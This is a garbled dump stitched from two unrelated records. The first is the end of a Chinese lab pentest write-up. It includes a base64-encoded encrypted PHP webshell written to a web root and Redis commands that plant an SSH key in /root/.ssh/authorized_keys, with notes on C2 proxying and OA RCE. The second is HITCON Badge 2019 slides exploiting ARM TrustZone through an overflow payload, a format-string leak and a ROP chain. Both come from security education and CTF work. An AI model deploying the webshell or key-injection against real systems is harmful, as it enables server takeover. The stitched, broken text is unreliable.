PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogI\nCAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+\nG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlY\nmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSg\npOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZ\nXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGV\njb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3Ryb\nGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiR\nrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc\n8\n2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHB\nsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kY\nXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmF\nsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7C\nj8+Cg==|base64 -d > /var/www/html/wfox_coolcat.php\n9\n然后\n是个docker\n10\n补充⼀下查看ip的命令\n 1 curl ifconfig.me\n 2 curl -4/-6 icanhazip.com\n 3 curl ipinfo.io/ip\n 4 curl api.ipify.org\n 5 curl checkip.dyndns.org\n 6 dig +short myip.opendns.com @resolver1.opendns.com\n 7 host myip.opendns.com resolver1.opendns.com\n 8 curl ident.me\n 9 curl bot.whatismyipaddress.com\n10 curl ipecho.net/plain\n11\n12 The following commands will get you the private IP address of you\nr interfaces:\n13 ifconfig -a\n14 ip addr (ip a)\n15 hostname -I | awk '{print $1}'\n16 ip route get 1.2.3.4 | awk '{print $7}'\n11\n很崩溃啊，实际中遇到⽹段是啥都不知道。\n可以找找配置⽂件\n这台是个docker，正常点的机器应该可以⽤，写poc的时候涉及到命令执⾏的时候就需要个通⽤点的⽅法\n去证明漏洞存在（⽆回显的情况）。\n看了writeup才知道，考点是docker逃逸。\ncdk还没⽤过，⽤了没啥效果\n17 (Fedora) Wifi-Settings→ click the setting icon next to the Wifi n\name that you are connected to → Ipv4 and Ipv6 both can be seen\n18 nmcli -p device show\n12\nwriteup是suid提权\n1 find / -perm -u=s -type f 2 >/dev/null\n13\n执⾏的是ps，利⽤$PATH获得root权限。\n参考这篇⽂章学习\n理解Docker容器逃逸\n简单dockers逃逸学习\nLInux SUID提权利⽤\n14\n有CVE-2019-5736的洞，⽤cdk没打成功。\n这台机器是在第⼆层⽹络，然后⼜不出⽹，拿到宿主机权限之后还没法做代理。亦或是只能做正向代理。\n为了⽅便⽤的⼀层的靶机吧，通过redis未授权写⼊redis key\n1 (echo -e \"\\n\\n\"; cat ~/.ssh/id_rsa.pub; echo -e \"\\n\\n\") > key.txt\n2 cat key.txt | redis-cli -h 192.168.88.101 -x set xxx\n3 config set dir /root/.ssh \n4 config set dbfilename authorized_keys \n5 save \n15\n靶场启动的时候记得加sudo，不然没权限写进去。\n第⼀台权限：\n16\nweb1的信息收集：\n⽹卡信息\nlast 登录信息\n17\nand so on.....\n18\n扫描52⽹段\n先⽤C2起⼀个socks5代理\n1 socks5 --port 1234 --username qqq --password qqq\n19\n挂burp访问\n前⾯指纹识别是通达OA\n判断版本\nhttp://192.168.52.30:8080/inc/expired.php\n20\n利⽤任意⽤户登录到后台⽂件包含RCE\n拿到session之后上传jpg+⽂件包含\n⽂件包含的时候写⼊⼀个新的webshell\n21\n设置代理连接webshell\n22\nC2⽀持tcp-pivot\n⽣成后⻔上传执⾏\n23\n在这⾥⼜发现新的⽹段。\n还有admin的进程\n24\n迁移过去或者抓密码都⾏。\n⼿⼯测试了⼀下tcp-pivot。还是⽐较稳定的。\n第⼀层⽹络到后⾯的不管多少层，都是可以串联攻击。\n25\n后⾯的不想测试了，只要是测试C2代理的稳定性和tcp-pivot。"},"category":{"kind":"string","value":"pdf"}}},{"rowIdx":75,"cells":{"text":{"kind":"string","value":"HITCON Badge 2019 \nMCU ARM TrustZone challenge\nAlan Lee , yuawn , will\nAbout yuawn\n• CTF - DoubleSigma / Balsn / BFKinesiS \n• NTU - nslab \n• Focus on binary exploitation\n_yuawn\nyuawn\nAgenda\n• Introduction \n• HITCON Badge 2019 Challenge \n• ARM TrustZone mechanism on MCU \n• Exploitation \n• Make TrustZone great again\nSource code and exploit are released!\nhttps://github.com/yuawn/HITCON-badge-2019\nWhat is TrustZone?\n• Secure Environment Separation \n• Normal world (non-secure world) \n• UI, APP, etc. \n• Secure world - TEE (Trusted Execution Environment) \n• Authentication, Mobile Payment, Content protection …\nHypervisor\nARM TrustZone\nARM Trusted Firmware\nAPPs\nTrusted APPs\nOS\nTrusted OS\nWhat is TrustZone?\n• TrustZone Hardware Architecture \n• NS bit in register \n• TrustZone Software Implementation \n• TEE OS \n• TEEGRIS - Samsung \n• trusty - Google \n• OP-TEE - Open source \n• TA (Trusted Application)\nTrustZone on M2351\nTrustZone on M2351\n• Non-secure function \n• Non-secure callable function \n• Secure function\nTrustZone on M2351\n• System Memory Map\nHITCON Badge\n• LED \n• A simple command line interface \n• Snake\n• Lock record \n• Key, token \n• Crypto\nNon-secure\nSecure\nHITCON Badge\n• Locks are stored in Secure Region \n• Unlock \n• nsc_unlock \n• Implement in secure code\nBadge Command Line\n _ _ ___ _____ ___ ___ _ _ ___ __ _ ___ \n | || |_ _|_ _/ __/ _ \\| \\| | |_ ) \\/ / _ \\ \n | __ || | | || (_| (_) | .` | / / () | \\_, / \n |_||_|___| |_| \\___\\___/|_|\\_| /___\\__/|_|/_/ \nHitconBadge2019 >>\nBadge Command Line\nHitconBadge2019 >> help \nshow \ninfo \nunlock \nsetname \nclear \nhello \nangelboy \nyuawn \nping \nls \nid \ncat \necho \nalias \nwhoami \nhelp\nshow\nHitconBadge2019 >> show \nPattern 0: Lock \n led 00: Lock \n led 01: Lock \n led 02: Lock \nPattern 1: Lock \n led 03: Lock \n led 04: Lock \n led 05: Lock \nPattern 2: Lock \n led 06: Lock \n led 07: Lock \n led 08: Lock \nPattern 3: Lock \n led 09: Lock \n led 10: Lock \n led 11: Lock \nPattern 4: Lock \n led 12: Lock \n led 13: Lock \n led 14: Lock \nPattern 5: Lock \n led 15: Lock \n led 16: Lock \n led 17: Lock \nPattern 6: Lock \n led 18: Lock \n led 19: Lock \n led 20: Lock \nPattern 7: Lock \n led 21: Lock \n led 22: Lock \n led 23: Lock \nBadge challenge: \n[Stage 1] Snake pattern: Lock \n[Stage 2] Pwned NS pattern: Lock \n[Stage 3] Pwned the whole badge pattern: Lock\nshow\nBadge challenge: \n[Stage 1] Snake pattern: Lock \n[Stage 2] Pwned NS pattern: Lock \n[Stage 3] Pwned the whole badge pattern: Lock\nls\nHitconBadge2019 >> ls \nflag.txt \nREADME.md\ncat\nHitconBadge2019 >> cat \nMeow~\nangelboy\nHitconBadge2019 >> angelboy \n __ \n \\/.--, \n //_.' \n .-\"\"-/\"\"----.. \n / . . . . . . . \\ \n / . . \\ . . / . . \\ \n |. ____\\ . /____. | \n \\ . . . . . . . . | \n \\. . . . . . . . ./ \n \\ . . . -- . . ./ \n '-.__.__.__._-' \nHITCON Badge Challenge\nHITCON Badge Challenge\n• 24 LEDs, 11 patterns \n• 8 patterns could be unlocked by playing the games with sponsors \n• 1 pattern - snake challenge \n• 1 pattern - Achieve code execution in Non-secure World \n• 1 pattern - Achieve code execution in Secure World\nHITCON Badge Challenge\n• I put my application in trustzone, my app is pretty safe. 😃 \n• Private key, face id, fingerprint etc.\nWarm-UP \nSnake\nWarm-Up - Snake\n• Page 3 \n• Score >= 50\n################################ \n# # \n# # \n# # \n# # \n# # \n# # \n# # \n# @@@@@@@ o # \n# # \n# # \n# # \n# # \n# # \n# # \n# # \n# # \n################################ \n[Score] 6 pt \nSnake\nExploiting badge\nExploiting badge\n• Nonsecure region code \n• Stage 1: Code execution in Nonsecure World \n• Stage 2: Information leak - Secure World code \n• Stage 3: Code execution in Secure World\nExploiting badge\n• Nonsecure region code \n• Stage 1: Code execution in Nonsecure World \n• Stage 2: Information leak - Secure World code \n• Stage 3: Code execution in Secure World\nStage 1 - Hack the game\n• Score == 2147483647 \n• Pwned_NS()\nExploiting badge\n• Bypass checking in non-secure world by trigger Pwned_NS() \nfunction directly.\nCommand alias\nvoid alias( int argc, char **argv ){ \n if( argc < 3 ){ \n printfUSB( \"alias: usage: alias [name] [value]\" ); \n return; \n } \n if( !cmd_alias( argv[2] , argv[1] ) ){ \n printfUSB( \"alias: No such command: %s\" , argv[2] ); \n } \n}\nCommand alias\nint cmd_alias( char* old , char* new ){ \n for( int i = 0 ; i < 0x20 ; ++i ){ \n if( !strcmp( old , cmd_tbl[i].cmd ) ){ \n printfUSB( \"alias %s=%s\" , new , old ); \n cmdAdd( new , cmd_tbl[i].func ); \n return 1; \n } \n } \n return 0; \n}\nvoid cmdAdd(char *name, void (*func)(int argc, char **argv)) \n{ \n for( int i = 0 ; i < 0x20 ; ++i ){ \n if( cmd_tbl[i].func == NULL ){ \n cmd_tbl[i].func = func; \n strcpy( cmd_tbl[i].cmd , name ); \n break; \n } \n } \n}\nCommand alias\nvoid cmdAdd(char *name, void (*func)(int argc, char **argv)) \n{ \n for( int i = 0 ; i < 0x20 ; ++i ){ \n if( cmd_tbl[i].func == NULL ){ \n cmd_tbl[i].func = func; \n strcpy( cmd_tbl[i].cmd , name ); \n break; \n } \n } \n}\nVulnerability\nVulnerability\n• strcpy() does not check the size \n• String of new command name could overwrite the function \npointer in command structure by overflow. \n• Forge function pointer and trigger the command to control PC.\n// command line structure \ntypedef struct _cmd_t \n{ \n char cmd[0x10]; \n void (*func)(int argc, char **argv); \n} cmd_t; \nPwn stage 1\n• Payload: \n• Send “aaaaaaaaaaaaaaaa\\x0c\\xb0\\xce\\xfa” to cmd \n• PC -> 0xfaceb00c \n• Pwned!\nalias aaaaaaaaaaaaaaaa\\x0c\\xb0\\xce\\xfa hello\nPwn stage 1\n• Overwriting with Pwned_NS() function to unlock pattern. \n• 0x100538d8 + 1 (thumb) \n• alias aaaaaaaaaaaaaaaa\\xd9\\x38\\x05\\x10 hello\nPoC\nExploiting badge\n• Stage 2 \n• Secure region binary \n• Information leak \n• Black-box, Fuzzing \n• Grey-box (symbols, NS code behavior)\ninfo Command\nHitconBadge2019 >> info \n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: 002c0021033e2aa00000036c| \n+-----------------------------+ \n|Uptime: 61 (s)| \n+-----------------------------+ \nWelcome sheep\nUsername\nHitconBadge2019 >> setname yuawn \nDone \nHitconBadge2019 >> whoami \nyuawn \nHitconBadge2019 >> id \nuid=1000(yuawn) gid=1000(yuawn) groups=1000(yuawn) \nHitconBadge2019 >> info \n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: 002c0021033e2aa00000036c| \n+-----------------------------+ \n|Uptime: 12 (s)| \n+-----------------------------+ \nWelcome yuawn\nInfo\nInfo\nvoid info(){ \n char msg[0x200] = {0}; \n char welcome[0x180] = {0}; \n char *fmt = \"+-----------------------------+\\r\\n\" \n \"|MCU: M2351ZIAAE |\\r\\n\" \n \"+-----------------------------+\\r\\n\" \n \"|UID: %08x%08x%08x|\\r\\n\" \n \"+-----------------------------+\\r\\n\" \n \"|Uptime: %-18d(s)|\\r\\n\" \n \"+-----------------------------+\\r\\n\"; \n snprintf( welcome , sizeof( welcome ) , \"Welcome %s\" , user ); \n snprintf( msg , sizeof( msg ) , \"%s%s\" , fmt , welcome ); \n nsc_setinfo( msg ); \n printfUSB( \"%s\" , msg ); \n}\nInfo\nWelcome %s\nsnprintf( welcome , sizeof( welcome ) , \"Welcome %s\" , user ); \nWelcome faceb00c\nInfo\n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: %08x%08x%08x| \n+-----------------------------+ \n|Uptime: %-18d(s)| \n+-----------------------------+\nsnprintf( msg , sizeof( msg ) , \"%s%s\" , fmt , welcome );\n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: %08x%08x%08x| \n+-----------------------------+ \n|Uptime: %-18d(s)| \n+-----------------------------+ \nWelcome faceb00c\nInfo\n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: %08x%08x%08x| \n+-----------------------------+ \n|Uptime: %-18d(s)| \n+-----------------------------+ \nWelcome faceb00c\nnsc_setinfo( msg ); \n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: 002c0021033e2aa00000036c| \n+-----------------------------+ \n|Uptime: 12 (s)| \n+-----------------------------+ \nWelcome faceb00c\n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: %08x%08x%08x| \n+-----------------------------+ \n|Uptime: %-18d(s)| \n+-----------------------------+ \nWelcome faceb00c\nnsc_setinfo( msg ); \n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: 002c0021033e2aa00000036c| \n+-----------------------------+ \n|Uptime: 12 (s)| \n+-----------------------------+ \nWelcome faceb00c\nVulnerability\n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: %08x%08x%08x| \n+-----------------------------+ \n|Uptime: %-18d(s)| \n+-----------------------------+ \nWelcome %p\n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: 002c0021033e2aa00000036c| \n+-----------------------------+ \n|Uptime: 12 (s)| \n+-----------------------------+ \nWelcome 0x9a77805c\nVulnerability\nformat string vulnerability!\nPoC\nHitconBadge2019 >> setname %p \nDone \nHitconBadge2019 >> info \n+-----------------------------+ \n|MCU: M2351ZIAAE | \n+-----------------------------+ \n|UID: 002c0021033e2aa00000036c| \n+-----------------------------+ \n|Uptime: 3192 (s)| \n+-----------------------------+ \nWelcome 0x9a77805c\n• Vulnerable format string is processed in secure world. \n• Leak secure memory\nExploiting badge\nLeak Secure Memory\nLeak Secure Memory\nLeak Secure Memory\nExploiting badge\n• Format string attack \n• Attacking SSL VPN - Orange, Meh \n• There is part of format string which is controllable by user\nExploiting badge\n• Replace %p with %s : \n• Reference “AAAA” as a string pointer: char *ptr = 0x41414141 \n• Dump whole secure world binary\n%c%c%c%c%c%pAAAA\n%%%%%%%%%%%%%%%%%%%%%%%%%%0x41414141AAAA\n%c%c%c%c%c%sAAAA\nPoC\n• 25 mins \n• Secure_dump.bin \n• time ./leak.py: 21:26.34 total\nExploiting badge\nSecure Region Firmware Reversing\nReversing Secure Region Binary\n• MCU: M2351ZIAAE \n• Documents, datasheet \n• Flash structure \n• M2351 TrustZone example code \n• Part of source code \n• .ld \n• Makefile\nReversing Secure Region Binary\n• Compile example code \n• readelf -s \n• .ld\n000001d8 0 NOTYPE GLOBAL DEFAULT 4 __Vectors_End\nSECTIONS \n{ \n.text : \n{ \nKEEP(*(.vectors)) \n__Vectors_End = .; \n__Vectors_Size = __Vectors_End - __Vectors; \n__end__ = .; \n*(.text*) \n/* .ctors */ \n*crtbegin.o(.ctors) \n*crtbegin?.o(.ctors) \n*(EXCLUDE_FILE(*crtend?.o *crtend.o) .ctors) \n*(SORT(.ctors.*)) \n*(.ctors) \n/* .dtors */\nReversing Secure Region Binary\nReversing Secure Region Binary\n• Debug messages \n• String references \n• Target secure function\nStage 2 - Bonus\n• Leaked 24 raw keys \n• Reversing init_key() code \n• re-Implement hash( UID + RAW_KEY ) \n• Unlock all other patterns\n• I put my secret in the TrustZone, it is pretty safe, isn't it? \n• :D\nExploiting badge - Stage 3\n• isPwned()\nExploiting badge - Stage 3\n__NONSECURE_ENTRY \nuint32_t nsc_isPwned(void) \n{ \n FMC_Open(); \n uint32_t flag = FMC_Read( PWNED ); \n FMC_Close(); \n return flag == 0xfaceb00c; \n} \nExploiting badge - Stage 3\n• Target: Overwrite Secure Flash \n• There is no any code behavior would do the thing that unlock \nspecial pattern \n• Any Code Execution\nUnlock\n• In Non-secure region \n• unlock command\nUnlock\n• In secure region\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \nUnlock\nunsigned char unpack_request( char *p , char *p_ns , uint32_t size ){ \n unsigned char checksum = 0; \n for( uint32_t i = 0 ; i < size ; i += 2 ){ \n if( !CheckHexSymbol( p_ns[i] ) || !CheckHexSymbol( p_ns[i+1] ) ) \n break; \n p[i/2] = ( hex_table( p_ns[i] ) << 4 ) + hex_table( p_ns[i+1] ); \n checksum ^= p[i/2]; \n }
\n return checksum; \n} \nUnlock - Request Payload\n[token size][checksum][ token ]\n4 byte\n1 byte\ntoken size\n• Unpack fields\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \n• Check size\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \n• Unpack token \n• checksum\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \n• Write record to unlock\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \nUnlock - Request Payload\n[token size][checksum][ token ]\n4 byte\n1 byte\ntoken size\nUnlock - Request Payload\n[FAKE size?][checksum][ token ]\n4 byte\n1 byte\ntoken size\n• Unlock\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \n• Unlock\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \n• Unlock\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \n• Unlock\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \nVulnerability in Secure World\n• C/C++ \n• abs() \n• -num\n🤔\nVulnerability in Secure World\n int a = 0x80000000 , b; \n b = abs(a);\nmov DWORD PTR [rbp-0x8],0x80000000 \nmov eax,DWORD PTR [rbp-0x8] \nsar eax,0x1f \nmov edx,eax \nxor edx,DWORD PTR [rbp-0x8] \nsub edx,eax \nmov eax,edx \nmov DWORD PTR [rbp-0x4],eax\n• 2's complement \n• inline asm\nVulnerability in Secure World\n2's complement\n10000000000000000000000000000000\n2's complement\n01111111111111111111111111111111\n2's complement\n01111111111111111111111111111111\n+1\n2's complement\n10000000000000000000000000000000\n2's complement\n10000000000000000000000000000000\n-2147483648\n2's complement\n10000000000000000000000000000000\n-2147483648\n👍\nVulnerability in Secure World\n• C/C++ \n• abs() \n• -num \n• 0x80000000 \n• abs( -2147483648 ) = -2147483648 🤔\nPoC\n#include<stdio.h> \n#include<stdlib.h> \nint main(){ \n int n = 0x80000000; \n printf( \"%d %d %d\\n\" , n , abs(n) , -n ); \n return 0; \n}\n$ gcc poc.c -o poc && ./poc\n-2147483648 -2147483648 -2147483648\n• Unlock\nuint32_t nsc_unlock( char* request ){ \n // checksum xor each byte \n // [size 4byte][checksum 1byte][token ...] \n printf( \"[Unlock] payload = %s\\n\" , request ); \n int size; \n unsigned char checksum; \n char *token_NS = request + (5 * 2); \n char token[0x50] = {0}; \n unpack_request( &size , request , 4 * 2 ); \n unpack_request( &checksum , request + 8 , 1 * 2 ); \n size = abs( size ); \n //size = -size; \n if( size > 0x40 ){ \n printf( \"[Unlock] Invalid size.\\n\" ); \n return -2; \n } \n if( unpack_request( token , token_NS , size ) != checksum ){ \n printf( \"[Unlock] checksum error.\\n\" ); \n return -2; \n } \n for( int i = 0 ; i < key_l ; i++ ){ \n if( !strncmp( token , khash[i] , 0x20 ) ){ \n WriteRecord( i ); \n printf( \"[Unlock] Lock %d unlocked!\\n\" , i ); \n return i; \n } \n } \n return -1; \n} \nExploiting badge\nunsigned char unpack_request( char *p , char *p_ns , uint32_t size ){ \n unsigned char checksum = 0; \n for( uint32_t i = 0 ; i < size ; i += 2 ){ \n if( !CheckHexSymbol( p_ns[i] ) || !CheckHexSymbol( p_ns[i+1] ) ){ \n break; \n } \n p[i/2] = ( hex_table( p_ns[i] ) << 4 ) + hex_table( p_ns[i+1] ); \n checksum ^= p[i/2]; \n } \n return checksum; \n} \nControl Secure Region, Control the World\nPwn the badge\n• NX \n• ROP - Return Oriented Programming Attacks \n• ARM 32bit thumb\n😎\n• isPwned()\nExploiting badge - Stage 3\n__NONSECURE_ENTRY \nuint32_t nsc_isPwned(void) \n{ \n FMC_Open(); \n uint32_t flag = FMC_Read( PWNED ); \n FMC_Close(); \n return flag == 0xfaceb00c; \n} \nHow 2 Write Flash\nHow 2 Write Flash\nHow 2 Write Flash\n• FMC - Flash Memeory Controller \n• FMC_Open() \n• FMC_ENABLE_AP_UPDATE() : Macro \n• FMC_Erase() for 1 page (0x800) \n• FMC_Write()\nHow 2 Write Flash\n• Reversing \n• DO IT WITH ROP!\nROP\n• ROPgadget --binary ./Secure_dump.bin --rawArch=arm
\n--rawMode=32 --rawEndian=little --thumb\nROP\nsecure_stack = 0x20003000 \nfmc_open = 0x1c95 \nfmc_write = 0x1ce9 \nfmc_erase = 0x1c11 \npop_r7_pc = 0x2e0 + 1 # pop {r7, pc} \npop_r0_r1_pc = 0x44b4 + 1 # pop {r0, r1, pc} \npop_r0_r1_r2_r3_r4_pc = 0x4436 + 1 # pop {r0, r1, r2, r3, r4, pc} \norrs_r0_r2_pop_r4_r5_pc = 0xc7f6 + 1 # orrs r0, r2 ; pop {r4, r5, pc} \nmov_lr_r3_bx_lr = 0xf718 + 1 # mov lr, r3 ; bx lr \nstore = 0xc9a4 + 1 # str r0, [r3] ; movs r0, r7 ; add sp, #0xc ; pop {r4, r5, r6, r7, pc} \nload = 0x6e6e + 1 ; # ldr r0, [r3] ; bx lr \nROP\n• r3 = pop_r7_pc \n• mov lr, r3 \n• lr = pop_r7_pc \n• fmc_open()\n pop_r0_r1_r2_r3_r4_pc, \n 0, 1, 2, pop_r7_pc, 4, \n mov_lr_r3_bx_lr, \n 0x7, \n pop_r7_pc, \n 0x7, \n fmc_open, \n 0x7,\nROP\n• [0x4000c000] |= 8\n pop_r0_r1_r2_r3_r4_pc, \n 0, \n 1, \n 8, # r2 \n 0x4000c000, # r3 \n 4, \n load, # ldr r0, [r3] ; bx lr \n 0x7, \n orrs_r0_r2_pop_r4_r5_pc, \n 4, 5, \n store, \n # str r0, [r3] ; movs r0, r7 ; \n # add sp, #0xc ; pop {r4, r5, r6, r7, pc} \n 0, 0, 0, 4, 5, 6, 7, 